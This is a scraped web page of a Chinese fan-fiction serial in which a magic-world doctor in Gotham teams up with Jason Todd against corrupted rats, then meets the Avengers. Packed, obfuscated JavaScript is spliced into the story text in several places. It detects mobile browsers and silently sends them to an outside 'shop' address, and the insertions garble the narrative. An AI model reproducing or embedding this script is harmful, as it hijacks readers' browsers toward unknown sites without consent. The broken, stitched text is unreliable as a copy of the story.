l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444103|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然后他继续吃面,假装没听见。 卡伦嘴角动了一下,低头继续吃。 过了一会儿,杰森突然开口:“那个探测器,响过没?” 卡伦摇头:“没。” 杰森点点头。 又是沉默。 但那种沉默不尴尬,就是……一起吃饭的沉默。 卡伦觉得自己开始习惯这种沉默了。 --- 7 吃完饭,杰森问:“回去还是干嘛?” 卡伦看了看时间。八点。 “你有什么事?” 杰森耸肩:“没事。” 卡伦:“那随便走走。” 他们走在街上,路过一家电影院。门脸不大,招牌上写着正在上映的片子——一部动作片,一部喜剧片,一部恐怖片。 杰森看了一眼:“看吗?” 卡伦也看了一眼。他很久没看过电影了。魔法世界没有电影院。 “看哪部?” 杰森想了想:“恐怖片。” 卡伦看他:“你喜欢恐怖片?” 杰森:“哥谭的日常就是恐怖片,看恐怖片等于看纪录片,没意思。但这家影院的恐怖片特别假,看完可以笑半天。” 卡伦觉得这个逻辑有点怪,但还是买了票。 电影确实很假。 鬼出现的时候,前排一个姑娘尖叫,然后她男朋友也跟着尖叫,然后全厅都在笑。杰森笑得尤其大声,一边笑一边点评:“那个鬼的妆比我画得还差。” 也挺好的。 当看喜剧片了。 电影结束,散场。 他们往外走的时候,杰森突然停了一下。 卡伦顺着他的视线看过去——角落里坐着一个人,戴着兜帽,正在吃爆米花。 那人抬头,露出脸。 提姆。 杰森:“……你跟踪我们?” 提姆面无表情:“我看电影。” 杰森:“你也看这部?” 提姆:“我看的是隔壁那部。这部太假了。” 杰森:“……” 卡伦在旁边差点笑出声。 提姆站起来,端着爆米花往外走,路过他们的时候,看了卡伦一眼。 “那个探测器,带了吗?” 卡伦拍了拍口袋。 提姆点点头,走了。 杰森看着他的背影,翻了个白眼。 “蝙蝠家的人,没一个正常的。” 卡伦想了想,说:“你也是蝙蝠家的。” 杰森沉默了两秒,然后说:“……我不是。” 卡伦没反驳,不然他会收获一只气急败坏的鸟。 --- 8 电影散场,他们往回走。 路上没什么人,街灯昏黄,远处偶尔有警笛声。 卡伦走得很慢,杰森也慢,两个人并排走着。 卡伦突然开口:“提姆说的那个‘隔壁那部’,你觉得是真的假的?” 杰森想了想:“他那人不说谎。” 卡伦:“那他真是来看电影的?” 杰森:“蝙蝠家的人,干什么都有可能。” 卡伦点点头,过了一会儿又说:“所以他现在可能正在隔壁影厅里,看第二遍。” 杰森愣了一下,然后笑了:“有道理。” 继续往前走。 走到一个街角,卡伦突然停下来,指着墙上的一张贴纸:“你看这个。” 杰森凑过去看了一眼——是一张电影院的海报,上面印着他们刚看完那部恐怖片的主角,表情狰狞。 卡伦:“像不像你刚才吃面的样子?” 杰森盯着他看了两秒。 卡伦面无表情。 杰森:“……你认真的?” 卡伦:“认真的。尤其是那个嘴。” 杰森深吸一口气,继续往前走。 卡伦跟在后面,嘴角动了动。 糟糕,有点崩不住。 走到诊所门口,卡伦停下来。 杰森也停下来。 卡伦:“到了。” 杰森点点头,站着没动。 卡伦看着他:“还有事?” 杰森沉默了两秒,然后说:“那个污染,还会出来吗?” 卡伦想了想:“会。只是时间问题。” 杰森点点头。 卡伦看着他,突然说:“你这么关心,是因为怕我出事,还是怕污染扩散到你吃面的地方?” 杰森翻了个白眼:“你这话说得好像我只关心吃。” 卡伦:“所以你关心什么?” 杰森盯着他。 卡伦一脸无辜。 杰森沉默了两秒,然后说:“下次它出来,叫我。” 卡伦愣了一下。 杰森看着别处,声音很淡:“你一个人去,万一出事,没人给你收尸。” 卡伦想了想:“那你来收?” 杰森:“……我来帮忙。收尸是最后选项。” 卡伦点点头:“行。那我尽量不死。” 杰森:“你最好是。” 两个人站在昏黄的街灯下,谁也没动。 过了一会儿,卡伦突然说:“明天周末,还吃面?” 杰森看他:“你吃不腻?” 卡伦想了想:“换个地方。你找。” 杰森笑了一声:“行。” 他转身,往另一个方向走。 走了几步,又回头:“那家店的面比今天这家好吃。” 卡伦:“那为什么今天不来这家?” 杰森:“今天那家近。” 卡伦:“……你选饭的标准是‘近’?” 杰森挥挥手,消失在夜色里。 卡伦站在诊所门口,看着那个方向,站了一会儿。 然后他推门进去。 躺在床上,他盯着天花板,想起刚才杰森那句“我来帮忙”。 他笑了一下。 窗外,哥谭的夜还在继续。 但卡伦觉得自己好像没那么困了。 可能是在想明天吃什么面。 7. 第七章 1 几个月过去了。 卡伦的诊所在犯罪巷站稳了脚跟。 不是那种“生意兴隆”的站稳,反正他也不靠着诊所赚钱,大概是没什么混混愿意招惹的站稳吧。 附近的居民知道,这个没名字的小诊所里有个年轻的医生,话不算多但问什么答什么,看病不贵,偶尔不收钱。有个老太太每周都来换药,顺便给他带吃的;有个修车厂的老王来治过腰,后来逢人就说“那小伙子有两下子”;还有几个小孩磕了碰了会被家长拎过来,走的时候手里往往多块糖。 犯罪巷的混混们知道,这家店不能惹。某个当地知名反英雄隔三差五来一趟,来了就往椅子上一躺,一躺一下午。有一次有两个不长眼的小年轻想来收保护费,刚走到门口就看见那个红头罩从里面出来,手里拎着杯咖啡。 惊悚程度不亚于撞鬼。 黑市上有人传,说这家店有问题——说有一次有人想砸店,第二天就再也没出现过。但没人能证实。 卡伦对这些传言一律不回应。 他的生活很固定:早上开门,看病,和病人聊两句,下午喝茶,晚上关门。 偶尔杰森来,就一起去吃饭。杰森发掘哥谭隐藏餐馆的水平一流,目前为止还没吃到过重复的。 偶尔迪克来,就聊几句。迪克话多,杰森翻白眼,卡伦在旁边听着,偶尔插一句把两个人都逗笑。 偶尔提姆路过,会进来坐五分钟,喝杯水,聊几句最近的案子。有一次卡伦给他提了个思路,提姆愣了半天,第二天过来说“蝙蝠侠说你那个方向是对的”。 偶尔达米安……没进来过。但卡伦知道他在附近出现过。那个小崽子的灵魂太好认了,隔着两条街都能感觉到。有次卡伦故意冲着那个方向挥了挥手,然后就感觉到那个小崽子迅速消失了。 卡伦觉得挺有意思的。 日子就这么过着。 挺好。 --- 2 卡伦的能力,他自己最清楚。 常规状态下,他就是个开诊所的。能看见灵魂,会一点炼金术,偶尔用点小魔法。不显眼,不惹事,不招人注意。杰森管这个叫“省电模式”。 如果需要认真动手—— 他左眼下方会出现一个倒三角的图案。 像某种古老的符文,边缘泛着那种融化的黄金般的黄光。那是他调动力量的“开关”。开了之后,感知会成倍提升,魔法和炼金术的威力也会增加。杰森见过一次,评价是“有点帅,但下次提前说一声,我好站远点”。 这个形态,他在哥谭用过两次。 一次是帮蝙蝠侠处理一个魔法侧的麻烦。一次是帮杰森从一个挺麻烦的局面里脱身。杰森事后非要请他吃饭,连请了一个礼拜。 但还有第三种形态。 那是他不太想用的。 如果事情真的到了那一步——如果数量太多,如果情况太糟,如果没有别的办法——那个倒三角会开始蔓延。 荆棘一样的纹路会从他的左眼下方生长出来,沿着脸颊、脖颈、肩膀,一路蔓延到全身。不是真的荆棘,是抽象的纹理,像某种古老的几何图案,冰冷、锋利,泛着金属质感的黄光。 那种状态下,他的能力会暴涨。 他试过几次。 用过之后需要很久才能恢复。 所以他不太想用。 但他知道,如果真到了那一步,他不会犹豫。 毕竟现在有人会担心他。 --- 3 那天傍晚,卡伦正准备关门。 太阳已经落山了,街上的人越来越少。他站在门口,看着远处渐渐暗下来的天空,想着今晚吃什么。 杰森今天没来。 可能是有什么事。可能是懒得来。无所谓,反正明天也会来。 他转身,准备进去—— 然后他停住了。 那种感觉又来了。 几个月没有出现过的、那个被污染的魔法世界的味道。 淡淡的,但确实存在。 而且比上次近。 卡伦愣了一下,然后从口袋里掏出那个探测器。 屏幕上显示着一个光点。 就在两条街外。 他抬头,看向那个方向。 企鹅人的地盘。 卡伦盯着那个方向看了几秒,然后掏出手机。 他没打给蝙蝠侠。几个月相处下来他学了一件事:有事先找杰森,杰森搞不定再找蝙蝠侠。这是效率最高的顺序。 电话接通。 “干嘛?”杰森的声音传来,背景音有点吵,像是在什么地方。 卡伦:“它出来了。” 那边安静了一秒。 然后背景音迅速安静下来,像是在往安静的地方走。 杰森的声音清晰了:“位置?” 卡伦:“企鹅人的仓库区。上次那个地方。” 杰森:“几只?” 卡伦闭上眼感知了一下:“两三只。和上次差不多。” 杰森:“行。我过来。你站着别动。” 卡伦:“你上次也说站着别动。” 杰森:“因为你动了我找不到。” 卡伦想了想,觉得有道理。 “行。站着不动。” 电话挂了。 卡伦站在诊所门口,看着企鹅人仓库的方向。 两三只。问题不大。 他靠在门框上,开始数杰森大概多久能到。 上次是七分钟。 这次应该也差不多。 --- 4 卡伦站在仓库区门口,等了六分钟。 杰森到的时候,他正蹲在墙角,盯着一个什么东西看。 杰森走过去,也蹲下来。 是一只老鼠。 灰色的,脏兮兮的,和哥谭下水道里成千上万只老鼠没什么区别。 但仔细看的话—— 那双眼睛不对。 不是老鼠那种黑豆一样的眼睛,是更……竖着的。像某种爬行动物。瞳孔是细长的一条缝,在昏暗的光线下泛着微弱的绿光。 杰森盯着那只老鼠,那只老鼠也盯着他。 然后它跑了。 杰森站起来,看向卡伦。 卡伦也站起来,拍了拍膝盖上的灰:“看见了吧?” 杰森点头:“所以那两三只就是这种?” 卡伦点头。 杰森掏枪。 卡伦按住他:“等等。” 杰森看他。 卡伦闭上眼,感知往外延伸。 那个被污染的魔法世界的味道,淡淡的,但到处都是。像是有人打翻了一瓶墨水,墨水渗进了每一个缝隙。 他睁开眼。 “……不对。” 杰森看着他:“什么不对?” 卡伦的脸色有点微妙。 “味道不对。” 杰森等着他解释。 卡伦想了想,用他能想到的最简单的说法:“那两三只,是散的。但现在整个地下,全是这个味。” 杰森沉默了两秒。 “全是是多少?” 卡伦张了张嘴,没说出话。 就在这时,仓库里突然传出一声尖叫。 人的尖叫。 杰森和卡伦对视一眼。 杰森把枪握紧:“走。” --- 5 仓库里很黑。 不是那种正常的黑,是那种……浓稠的、仿佛能吸光的黑。 杰森打开手电筒,光束切开黑暗,照出一排排堆得高高的木箱。木箱上印着企鹅人的标志,里面不知道装的是什么。 卡伦跟在他身后,感知全开。 那些东西就在周围。 很多。 很多很多。 它们藏在木箱的缝隙里,藏在天花板的横梁上,藏在墙角的阴影中。每一只都散发着那种被污染的气息,淡淡的,但密密麻麻地叠加在一起—— 卡伦的头开始疼了。 又是一声尖叫。 杰森加快脚步,绕过一排木箱,然后停下来。 卡伦从他身后看过去—— 地上躺着一个人。仓库的守卫。穿着企鹅人手下统一的那种制服,身上全是咬痕,还在抽搐。 周围有一群老鼠正在啃他。 不是普通的老鼠。 那些东西的体型比正常老鼠大一圈,头骨的形状不对,更尖,更像某种……说不清的东西。眼睛在黑暗中泛着绿光,密密麻麻的一片,像无数颗腐烂的星星。 杰森抬手就是一枪。 一只老鼠炸开,绿色的液体溅了一地。 剩下的老鼠抬起头,同时看向他们。 那一瞬间,卡伦觉得自己被几百道视线同时锁定了。 杰森又开了一枪。 那些东西开始动。 不是跑,是涌。像黑色的潮水,从四面八方涌过来。 杰森一边开枪一边往后退,但数量太多了。一只老鼠扑到他腿上,他甩开,另一只又扑上来。他骂了一句,用枪托砸碎一只的脑袋,但更多的已经围上来了。 卡伦站在原地,看着这一切。 他想起那几个月。 想起诊所里的那些病人。想起玛莎奶奶每周带来的饼干。想起老王修车厂那只黑猫。想起迪克的笑话。想起提姆的“蝙蝠侠说你那个方向是对的”。想起达米安偷偷摸摸在附近晃又被发现就跑的样子。 想起杰森。 想起杰森每天“路过”的次数。想起杰森那句“下次叫我”。想起杰森昨天还说明天带他去吃一家新发现的店。 他看了看那些老鼠。 又看了看被围住的杰森。 然后他叹了口气。 “本来想省电模式的。” 他左眼下方,一个倒三角的图案开始浮现。 泛着黄金一样的黄光。 --- 6 那个倒三角开始蔓延。 荆棘一样的纹路从卡伦的左眼下方生长出来,沿着脸颊往下,蔓延到脖颈、肩膀、手臂。不是真的荆棘,是抽象的纹理,像某种古老的几何图案,冰冷、锋利、带着金属质感的黄光。 黄光越来越亮。 杰森回头看了他一眼,愣了一下。 那些老鼠也停了。 它们盯着卡伦,几百双绿油油的眼睛,此刻全都缩成了针尖大的点。 卡伦抬起手。 手心朝下。 然后他往下一压。 一道无形的波纹从他身上扩散开去。 没有声音。没有光芒。只有一种……感觉。 像是有什么东西从那些老鼠身上被剥离了。 它们一只接一只地倒下。 没有挣扎,没有惨叫。就那么倒在地上,像被人拔掉了电源的玩具。 绿色的液体从它们的七窍流出来,散发出那股污染的味道。 十秒。 二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444104|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十秒。 三十秒。 仓库里安静了。 卡伦站在原地,喘着气。 那些荆棘一样的纹路还在他身上,但已经开始慢慢消退。黄光渐渐暗下去,纹理一寸一寸地缩回他的左眼下方,最后只剩下那个倒三角的图案,闪了闪,也消失了。 杰森站在不远处,看着他。 沉默了两秒。 然后杰森开口:“你那个‘两三只’的估算,是跟谁学的?” 卡伦抬头,看了他一眼。 脸色有点白,但表情还行。 “我也不知道会繁衍这么快。” 杰森深吸一口气。 卡伦看了看满地的老鼠尸体,又看了看远处那个已经不动了的守卫。 “他死了?” 杰森走过去蹲下,检查了一下,点点头。 卡伦沉默了两秒。 “可惜了。” 杰森站起来,走回他身边,上下打量了他一下。 “你没事吧?” 卡伦活动了一下手指:“有点累。别的还好。” 杰森盯着他,像是在确认这话的真假。 卡伦让他盯着,没躲。 过了一会儿,杰森移开视线,看着满地的狼藉。 “这些东西,就这么死了?” 卡伦点头:“污染源被清掉了,它们就没了。” 杰森:“那污染源呢?” 卡伦指了指地下:“下面还有。但散了。过几天会彻底消失。” 杰森沉默了一会儿,然后掏出手机。 卡伦:“打给谁?” 杰森:“老头子。这种情况需要报备。” 卡伦点点头。 杰森开始按号码,按到一半突然停住,抬头看他。 “下次能不能提前说一声你要开大?” 卡伦想了想:“来不及说怎么办?” 杰森:“那你给我使个眼色。” 卡伦:“万一你看不见呢?” 杰森:“你那个纹身那么亮,我瞎了才看不见。” 卡伦想了想,觉得有道理。 “行。下次使眼色。” --- 7 蝙蝠侠来得比卡伦预期的快。 他站在仓库门口,看着里面满地的老鼠尸体,沉默了五秒钟。 然后他看向卡伦。 卡伦靠着墙,脸色还是有点白,但比刚才好多了。看见蝙蝠侠看他,他冲那边挥了挥手。 “晚上好。” 蝙蝠侠没理他这个招呼。 “数量?” 卡伦想了想:“几百只。可能上千。” 蝙蝠侠:“源头?” 卡伦:“地底下。那丝污染漏进来之后,找了这么个地方,开始繁殖。” 蝙蝠侠点点头。 他带来的那些人——迪克、提姆、还有几个卡伦不认识的——已经开始清理现场。 迪克走过来,看看杰森,看看卡伦,表情有点复杂。 “你们俩没事吧?” 杰森:“没事。” 卡伦:“没事。就是有点饿。” 迪克愣了一下,然后笑了。 “行,回头请你吃饭。” 提姆蹲在一只老鼠尸体旁边,用小棍戳了戳,又用探测器扫了一下。然后抬头看向蝙蝠侠。 “污染残留,但正在消散。不会扩散。” 蝙蝠侠点头。 达米安不知道什么时候冒出来的,站在一只老鼠尸体前,盯着看了很久。然后他转头,看向卡伦。 卡伦对上他的视线,冲他点点头。 “晚上好。” 达米安没说话,继续盯着他看。 卡伦想了想,问:“想问什么?” 达米安沉默了两秒,然后问:“那个纹身,是每次都用吗?” 卡伦摇头:“不是。只有情况特别糟的时候用。” 达米安点点头,收回视线,继续看老鼠。 卡伦觉得这小崽子今天问的问题还挺正常。 杰森在旁边低声说:“他回去之后肯定要查你。” 卡伦:“查什么?” 杰森:“查你那个纹身是什么原理。” 卡伦想了想,觉得这倒是挺有意思的。 “那他查到了告诉我一声,我自己都不知道是什么原理。” --- 8 走出仓库,夜风吹过来,带着一点凉意。 卡伦深吸一口气。 杰森在旁边走着,没说话。 走了几步,杰森突然开口:“那个纹身,挺酷的。” 卡伦看他。 杰森看着前面,表情很淡:“但下次别一个人开大。我叫外援。” 卡伦想了想:“你不是来了吗?” 杰森:“我来的时候你已经开了。” 卡伦:“那你下次跑快一点。” 杰森:“……你这是在怪我?” 卡伦:“我是在给你提建议。” 杰森盯着他看了两秒,然后笑了。 “行。下次我跑快一点。” 继续往前走。 到了诊所,杰森挥挥手,消失在夜色里。 卡伦站在诊所门口,看着那个方向,站了一会儿。 然后他推门进去。 躺在床上,他盯着天花板,想起刚才杰森那句“下次我叫外援”。 他笑了一下。 这个外援,挺好的。 8. 第八章 1 几个月前 企鹅人第一次见到那个东西,是在老鼠刚冒出来的时候。 那天晚上,他正在办公室里算账,手下进来说有人要见他。不是普通的客人——手下说这话的时候,脸色有点白。 企鹅人让人进来。 然后他看见了那个东西。 斗篷。阴影。还有斗篷下面那两只眼睛——竖着的瞳孔,泛着绿光,在黑暗中像两盏鬼火。 企鹅人手里的雪茄差点掉了。 那东西开口了。声音很低,像是从很深的地方传上来的,带着一种奇怪的共鸣。 “我需要一个地方。” 企鹅人盯着它看了几秒,稳了稳心神。 “什么地方?” 那东西说:“实验的地方。繁殖的地方。” 企鹅人眯起眼睛:“什么实验?” 那东西沉默了一秒,然后从斗篷下面拿出一个笼子。 笼子里关着一只老鼠。 但又不是老鼠。 体型比正常老鼠大一圈,头骨的形状不对,眼睛泛着诡异的绿光。它在笼子里窜来窜去,用牙齿咬着铁栏,发出吱吱的刺耳声。 企鹅人盯着那只东西看了很久。 然后他问:“这玩意儿有什么用?” “很多用。你想让它有什么用,它就可以有什么用。” --- 2 企鹅人的办公室里,一片狼藉。 杯子碎了。烟灰缸翻了。墙上那幅他最喜欢的画像歪了,没人敢去扶。 企鹅人站在窗边,背对着门,肩膀起伏着,像一只被激怒的企鹅——但没人敢提醒他这个比喻。 门开了。 那个东西走进来。 企鹅人猛地转身,脸上的表情让那东西都顿了一下。 “你!”企鹅人冲过去,手指几乎戳到那东西脸上,“你那些老鼠!全死了!全他妈死了!” 那东西往后退了一步,但眼睛里的绿光没变。 企鹅人继续吼:“蝙蝠侠!蝙蝠侠现在盯着我的地盘!你知道那意味着什么吗?!” 那东西开口了,声音还是很低:“那不是我造成的。” 企鹅人:“不是你造成的?!那些东西从我的仓库里跑出来!在我的地盘上乱窜!被蝙蝠侠抓了个正着!你说不是你造成的?!” 那东西沉默。 企鹅人气得在原地转了两圈,又转回来,指着那东西的鼻子。 “你当初怎么说的?‘实验’!‘繁殖’!‘很多用’!现在呢?好处没见着,麻烦一堆! 我要你研究它,不是为了造成混乱,而是创造属于我的秩序!你说你能让我控制它们,结果现在全都死的透透的。” 那东西的眼睛闪了闪。 企鹅人继续:“还有你!你那些眼睛!你那张脸!你他妈根本不是这个世界的人!现在好了,蝙蝠侠知道有东西过来了,他肯定在查!查到我这只是时间问题!” 那东西终于开口了:“你想怎样?” 企鹅人盯着它,喘着粗气。 过了几秒,他深吸一口气,压低了声音。 “带我走。” 那东西看着他。 企鹅人:“现在。立刻。蝙蝠侠肯定已经在来的路上了,我不能被他找到。你把我带出去,找个地方躲一阵,等风头过了再回来。” 那东西沉默了几秒。 然后它说:“可以。” 企鹅人愣了一下,没想到它答应得这么痛快。 那东西继续说:“但你欠我的。” 企鹅人皱眉:“欠你什么?” 那东西没回答。它抬起手——那只手不是正常人的手,指尖泛着绿光——按在墙上。 墙面开始扭曲,像水面一样泛起涟漪。 企鹅人盯着那堵墙,喉咙动了动。 但他没犹豫。 他抓起手杖,走到那堵墙前,回头看了一眼那个东西。 “走。” 两人走进墙里。 墙在他们身后恢复原状,什么都没有留下。 十分钟后,蝙蝠侠带人赶到的时候,办公室里已经空了。 只有那股淡淡的、说不清的味道,还在空气中飘荡。 --- 3 企鹅人失踪的消息,在哥谭的地下世界传开了。 有人说他死了。有人说他跑了。有人说他被蝙蝠侠抓了关进了某个没人知道的地方。 卡伦从杰森那里听说了这些传言。 “所以他是真的跑了?” 杰森躺在椅子上,脚搭在小茶几上,点了点头。 “老头子说,办公室里有能量残留。和那些老鼠的味道有点像,但不完全一样。” 卡伦想了想:“是那个东西。” 杰森看他:“你能确定?” 卡伦摇头:“不能。但八九不离十。” 杰森点点头,没再问。 沉默了一会儿。 卡伦突然说:“那个东西,把它带走的。” 杰森看他。 卡伦继续说:“它们之间有交易。现在交易失败了,那个东西带着他跑了。” 杰森:“跑哪去了?” 卡伦摇头。 “不知道。但肯定不是这个世界。” 杰森沉默了几秒,然后说:“所以现在我们要找的,不止是那个东西,还有企鹅人。” 卡伦点头。 杰森想了想,突然笑了一声。 “企鹅人,被一个不知道是什么的东西,带去了一个不知道是哪里的地方。他这会儿估计正骂娘呢。” 卡伦想了想那个画面,嘴角动了动。 “可能不只是骂娘。” 杰森看他。 卡伦面无表情:“可能连祖宗十八代都骂上了。” 杰森愣了一下,然后笑出了声。 “行。你赢了。” --- 4 那天下午,诊所里来了个不速之客。 不是跑得不快的客人。 是迪克。 他推门进来的时候,脸上带着那种“我有好消息”的笑容。杰森看见他进来,翻了个白眼,但没说话。 迪克直接走到柜台前。 “卡伦!有个事跟你说。” 卡伦放下手里的东西:“什么事?” 迪克从口袋里掏出一张请柬,拍在柜台上。 卡伦低头一看——烫金的字,漂亮的排版,上面写着:斯塔克工业年度慈善晚宴。 卡伦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卡伦看他。 杰森耸肩:“企鹅人那家伙嘴刁得很。被带去不知道什么地方,吃的肯定不对胃口。” 卡伦想了想那个画面——企鹅人对着不知道是什么的食物,一脸嫌弃又不得不吃的样子——嘴角动了动。 杰森看见了。 “笑了?” 卡伦面无表情:“没有。” 杰森:“我看见你嘴角动了。” 卡伦:“那是光线问题。” 杰森盯着他看了两秒,然后笑了。 “行。光线问题。” 他转身,往另一个方向走。 走了几步,又回头。 “下周,我来接你。” 卡伦点头。 杰森挥挥手,消失在夜色里。 卡伦站在诊所门口,看着那个方向,站了一会儿。 然后他推门进去。 躺在床上,他盯着天花板,想起杰森刚才说的那句话——“企鹅人那家伙嘴刁得很”。 他笑了一下。 确实。那家伙现在估计正骂着呢。 9. 第九章 1 卡伦站在镜子前,已经站了半个小时。 镜子里的自己——黑发,金色挑染在头顶的光照下泛着浅浅的光泽。他侧过头,让光线打在脸上,那双金眸在阴影里显得更深了些,像融化的黄金凝固前的最后一瞬。 他抬起手,把额前那缕挑染往旁边拨了拨。 又拨了拨。 再拨了拨。 杰森躺在椅子上,脚搭着小茶几,看着他那副样子,表情越来越微妙。 “你到底在干什么?” 卡伦头都没回:“在试衣服。” 杰森:“你试了半个小时了。” 卡伦:“这件不合适。” 他扯了扯身上那件深灰色的衬衫,皱着眉看了两秒,然后动手解扣子。 杰森挑了挑眉:“你换了八件了,伦尼,希望你还记得咱们这次去是解决你那些魔法的小玩意儿的,而不是去参加什么该死的选秀。” 卡伦终于回头,看了他一眼。 杰森摊手,无辜的望回去,躺回椅子上:“我没别的意思。就是提醒你,再不走要迟到了。” 卡伦转回去,继续盯着镜子。 黑发,金眸,金色挑染,这张脸—— 他认真评估了一下。 确实挺帅的。这一点没什么好谦虚的,谦虚是留给那些需要谦虚的人用的。他就是帅,客观事实,不接受反驳。 就是衣服不行。 这件太正式,穿上像要去参加葬礼——虽然他确实参加过葬礼,在魔法世界的时候,那件衣服比这个还黑。那件太随便,穿上像要去逛超市。还有一件,料子不错,但颜色不对,显得他脸色有点白,好吧,好吧,他的脸色本来就不算红润,但那是因为熬夜研究炼金术,不是天生的。 杰森的声音从后面传来,带着点无奈:“你平时不是不在乎这些吗?” 卡伦:“平时是平时。今天是今天。” 杰森:“今天有什么特别的?” 卡伦想了想,手指无意识地拨了拨那缕挑染:“第一次见那边的英雄。之前我一直和正义联盟合作,也是巧合,这两年竟然还真没什么事和复仇者联盟对上的。” 是他一直在大都会和哥谭这边乱转太宅了吗? 杰森等着他往下说。 卡伦继续,语气很平淡,“总得有点形象。”他终于完成了衣服的挑选,开始用直板夹做造型了。 他心想:总不能让他们觉得,从另一个世界过来的是个邋里邋遢的野人。虽然他那个世界确实挺邋遢的,但那是因为污染,不是因为他。 他的出场顶多会让那个世界显得光鲜亮丽一点。 杰森盯着他看了两秒,突然站起来。 他走到卡伦旁边,也看向镜子。 镜子里两个人并排站着。 卡伦愣了一下。 他第一次这么近地看杰森这么清晰仔细。 在之前那个世界盯着人看是一件很不礼貌的事,因为魔法技能千奇百怪,谁也不知道一个人突然盯着你是觉得你好看还是想着怎么诅咒你。 黑发,额前有几缕白色的挑染,像火焰烧过之后留下的灰白余烬。 杰森从旁边的衣架上拿起一件外套,扔给他。 “这件。” 卡伦接住,看了看——黑色的,剪裁挺简单,但料子不错,摸上去有点沉。 “你从哪拿的?” 杰森已经躺回椅子上了,脚重新搭上茶几:“刚才翻你柜子翻出来的。” 卡伦盯着他看了两秒。 杰森耸肩:“你让我帮你搬东西的。” 卡伦没再说什么,把外套穿上。 镜子里的自己——黑色外套,金色挑染,那双眼睛在灯光下有点晃眼。 他点点头。 “行。” 杰森站起来,往外走。 卡伦跟在后面,走到门口突然问:“你那个挑染,是自己染的还是天生的?” 杰森头都没回:“天生的。” 卡伦:“不信。” 杰森:“爱信不信。” 门关上了。 卡伦站在门口,看着那道门,嘴角动了动。 天生的。 行吧。 他低头看了看身上的外套。杰森翻出来的。翻的是他的柜子,翻出来的是一件他从来没见过的外套。 所以那家伙到底在他柜子里翻到了什么? 他决定回去之后检查一下零食库存。 --- 2 这次不是斯塔克大厦。 是复仇者联盟大厦。 卡伦站在门口,抬头看着这栋建筑,沉默了至少十秒。 更高。更亮。更……张扬。如果斯塔克大厦是“我有钱”,那这个就是“我有钱而且我还有超能力而且我还有一栋楼专门放我的超能力朋友”。 哦,该死的有钱人,真是该死的有魅力。 杰森站在他旁边,同样抬头看着。 卡伦:“这个比斯塔克大厦还高。” 杰森点头。 卡伦:“而且亮。” 杰森点头。 卡伦:“有钱人真讨厌。” 杰森看了他一眼。 卡伦补充,语气很平淡:“蝙蝠侠也是有钱人。” 杰森嘴角动了动,那一下很快,但卡伦看见了。 “学我说话?” 卡伦:“引用。” 他们往里走。 电梯一路往上,数字跳得飞快。 卡伦:话说复仇者联盟大厦会停电吗?如果突然停电他和杰森会在电梯里变成肉饼?啊,鸟饼也挺可爱的。 电梯门打开。 一个很大的房间。落地窗,纽约的夜景在窗外铺开,万家灯火像碎掉的星星洒在地上。房间里站着人——很多。 卡伦站在电梯口,目光扫过去。 有人站着,有人坐着,有人靠在窗边。每个人的姿态都不一样,但每个人的目光都在他们身上。 七道目光。不对,八道。 杰森在他旁边低声说:“人挺齐。” 卡伦点头。 他心想:所以这就是复仇者联盟。电视上看过,新闻里听过,现在真人站在面前。还行,没有电视上那么……闪。但也有自己的闪法。 --- 3 一个穿红金色盔甲的男人最先动起来。 他从沙发上站起来,盔甲在他走路的过程中一片片收起来,露出里面的深灰色西装。托尼·斯塔克。 哦,不得不说,这个出场帅炸了。 他走过来,脸上带着笑,目光在卡伦脸上停了一秒——那一秒里,卡伦感觉到自己被扫描了一遍。 不是比喻。是真的扫描。那套盔甲肯定在记录什么。他以他作为魔法师被偷窥的十几年经验发誓。 “来了!哥谭的客人!” 他伸出手。卡伦握住——干燥,有力,有点凉。 “卡伦。” 托尼看向杰森。 杰森没伸手,只是点了点头。 托尼也不介意,收回手,往旁边让了让。 “介绍一下。” 他指向沙发上坐着的人。那个人站起来,走过来——金发,蓝眼睛,身姿笔直得像一把剑。 “史蒂夫·罗杰斯,”托尼说,“美国队长。你应该认识,电视上的常客了。” 史蒂夫伸出手。卡伦握住——很稳,很有力,那种握法像是他真的在意这次握手。 “欢迎,”史蒂夫说,目光在卡伦脸上停了一瞬,“听布鲁斯提过你。” 卡伦点头。 他心想:不知道布鲁斯是怎么提的。如果是“有个从魔法世界来的小子,眼睛有点怪,但能用”,那还行。如果是“扎塔娜的人,别惹他”,那也行。如果是“杰森的……朋友”,那—— 哇,那更奇怪了。 但也挺好的。 真是够了,他在想什么。 托尼继续:“那边那个金发大块头,索尔,来自阿斯加德。” 索尔从窗边走过来,步子很大,披风在他身后轻轻晃动。他比卡伦想象的更高,肩膀更宽,整个人像一座移动的山。 他伸出手。 卡伦握住。 那一瞬间,他感觉自己整条手臂都被握了一遍。不是比喻,是真的被握了一遍——从手指到肩膀,都感觉到那股力量。 “朋友!”索尔的声音洪亮,整个房间都能听见,“听说你来自另一个世界?” 卡伦点头。 索尔眼睛亮了一下,那种亮像是发现了什么有趣的东西:“有趣!有机会喝一杯,聊聊那边的事!” 卡伦想了想,说:“那边没有酒。” 索尔愣了一下,然后笑了,那笑声震得卡伦耳朵有点痒:“那更要聊聊了!没有酒的世界,那是什么世界?” 卡伦心想:是一个被污染的世界。是一个你不想待的世界。是一个酒在那里是奢侈品、喝一口可能要拿命换的世界。 但他没说出来。 托尼在旁边咳了一声,把索尔拉开一点,继续介绍。 “那边那个站窗边的,布鲁斯·班纳。平时是科学家,偶尔是绿巨人。” 